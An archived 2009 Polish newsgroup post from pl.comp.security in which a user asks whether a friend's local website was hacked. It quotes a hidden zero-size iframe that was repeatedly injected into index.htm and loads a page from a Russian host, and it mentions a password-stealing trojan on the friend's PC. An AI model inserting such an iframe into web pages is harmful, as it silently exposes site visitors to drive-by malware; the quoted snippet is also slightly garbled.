Czy koledze ktoś się dobrał do strony internetowej, czy przypadek ?

Article View: pl.comp.security

Article #63999

#63999

From: Marek
Date: Thu, 12 Nov 2009 19:43

24 lines
2174 bytes

Kolega ma dośc poluparną (widoczną w pierwszych 10 wynikach po podaniu w
google nazwy miejscowości) stronę o tematyce lokalnej. Niee stosował
żadnych technik pozycjonowania, strona po prostu była w tych pierwszych
wynikach. Strona jest w domenie republika.pl

Może 2 tygodnie  temu do pliku index.htm dopisało się coś takiego:

<iframe  frameborder=”0”  onload=”if  ( !this.src )
{his.src=`http://dech-test.ru:8080/index.php` ;his.height=`0`
;his.width=`0` ; } „> oshgyabonrgnhabcfwmzyeescghelzi</iframe>

Wymienił plik index.htmna właściwy a ten kod sie znowu przykleił.

Jednocześńie miał wirusa PWS, Win 32 / Daurso. A , "coś/ktoś ? " mu ruszalo
myszką po ekranie.

Traktować to jako włamanie + celowe działanie ( ktoś przejął hasła i
pobawił się kontem ?)czy przypadkowy zbieg okoliczności ? Jednocześńie z
pojawieniem się tego kody w index.htm strona wyparowała z wyników google.
Wpisanie do wyszukiwarki site:strona.pl daje jedną odpowiedź o kilku
odwiedzinach.

Byłbym, wdzięczy za pomoc lub właściwego fut-a.
Marek

Technical Details

Message-ID: <dok5kl7pbfka$.14ctdl2ct246f$.dlg@40tude.net>

Path:

mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!newsfeed.gazeta.pl!opal.futuro.pl!news.internetia.pl!newsfeed.neostrada.pl!unt-exc-02.news.neostrada.pl!news.underley.eu.org!moderators!marcinw

Show Full Headers

Complete Article Headers

Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!newsfeed.gazeta.pl!opal.futuro.pl!news.internetia.pl!newsfeed.neostrada.pl!unt-exc-02.news.neostrada.pl!news.underley.eu.org!moderators!marcinw
From: Marek <marek.grupy@poczta.onet.pl>
Newsgroups: pl.comp.security
Subject: Czy koledze ktoś się dobrał do strony 
 internetowej, czy przypadek ?
Date: Thu, 12 Nov 2009 20:43:42 +0100
Organization: http://onet.pl
Lines: 24
Message-ID: <dok5kl7pbfka$.14ctdl2ct246f$.dlg@40tude.net>
NNTP-Posting-Host: ghostwheel.underley.eu.org
Mime-Version: 1.0
X-Trace: news.onet.pl 1258055019 19420 79.191.210.77 (12 Nov 2009 19:43:39 GMT)
X-Complaints-To: niusy@onet.pl
NNTP-Posting-Date: Thu, 12 Nov 2009 19:43:39 +0000 (UTC)
User-Agent: 40tude_Dialog/2.0.15.1pl
X-Moder-Tool: ModerGate.pl v3.0 (c) 2008 Daniel Podlejski
X-Orig-NNTP-Posting-Host: aesc77.neoplus.adsl.tpnet.pl
X-Orig-Newsgroups: pl.comp.security
Approved: marcinw.pcs@gmail.com
X-Post-Key: 0e8daf838699b270fdceacba6d948bfa
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit